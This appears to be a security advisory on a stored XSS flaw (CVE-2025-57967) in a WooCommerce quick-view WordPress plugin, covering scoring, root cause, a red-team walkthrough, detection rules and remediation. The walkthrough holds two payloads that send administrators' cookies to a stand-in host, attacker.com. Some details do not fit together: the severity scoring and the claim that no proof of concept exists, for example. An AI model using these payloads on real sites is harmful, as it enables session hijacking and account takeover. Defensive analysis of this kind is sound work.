CVE-2025-57967

Executive Summary

CVE-2025-57967 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WPB Quick View for WooCommerce (slug: woocommerce-lightbox), developed by WPBean. The vulnerability affects all versions up to and including 2.1.8. An authenticated attacker with at least Contributor-level privileges can inject malicious JavaScript payloads into the plugin’s input fields (e.g., product quick view settings or custom meta fields). When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), with a vector emphasizing the need for user interaction and high privileges for exploitation. No public proof-of-concept (PoC) or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to any WordPress site using this plugin. Administrators should monitor the plugin’s update channel and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires Contributor-level or higher WordPress role.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for high privileges reduces the immediate risk. However, once exploited, the stored XSS can affect all users, including administrators, leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the woocommerce-lightbox plugin’s handling of user-supplied input. The plugin fails to properly sanitize and escape data before storing it in the WordPress database and later rendering it in the admin dashboard or frontend. Specifically, the plugin’s settings page or product meta fields accept HTML/JavaScript input without validation.

Attack Flow:

1. An attacker with Contributor-level access navigates to the plugin’s settings or product edit page.
2. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into an input field (e.g., custom CSS, button text, or image caption).
3. The plugin stores the unsanitized payload in the wp_postmeta or wp_options table.
4. When an administrator or other user views the affected page (e.g., product quick view modal), the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses functions like echo $value or the_field() without applying esc_html(), wp_kses(), or similar sanitization functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress XSS fixes.

Vulnerable Code (v2.1.8):

// In a settings field or product meta display
echo '<div class="quick-view-text">' . $custom_text . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="quick-view-text">' . esc_html( $custom_text ) . '</div>';

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with WPB Quick View for WooCommerce <= 2.1.8.
• Attacker account with Contributor role or higher.

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to Products > Edit Product or WPB Quick View Settings.
3. Locate an input field that is not sanitized (e.g., "Custom Button Text").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the product or settings.
6. Wait for an administrator to view the product quick view or settings page.
7. The payload executes, sending the admin’s cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual input in product meta fields or plugin settings (e.g., <script> tags).
2. Review WordPress user roles and limit Contributor access to trusted users only.
3. Use a Web Application Firewall (WAF) to block common XSS patterns.
4. Enable Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Install WordPress 6.x with the vulnerable plugin.
• Create a Contributor user and an Administrator user.
• Use a browser developer tools to inspect network requests and cookie theft.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., wp-content/plugins/woocommerce-lightbox/) containing injected JavaScript.
• Database: Entries in wp_postmeta or wp_options containing <script> tags or event handlers.
• Network: Outbound requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Logs: WordPress debug logs showing unexpected output or PHP warnings related to the plugin.

Example IOC (Database Query):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_57967_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WPB Quick View for WooCommerce plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57967"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WPB Quick View for WooCommerce
id: 8a3f2c1e-5b7d-4a9f-8c6e-1d2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in WordPress plugin settings or product meta
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/post.php'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57967 Stored XSS Payload in WordPress"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Only grant Contributor access to trusted users.
3. Apply a virtual patch using a WAF to block <script> tags in POST requests to plugin endpoints.

Long-Term Fix:

• The vendor (WPBean) must release a patched version (e.g., 2.1.9) that sanitizes all inputs using esc_html(), wp_kses(), or sanitize_text_field().
• Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.

Workaround:

• Manually edit the plugin files to add escaping functions (not recommended for non-developers).

Valters IT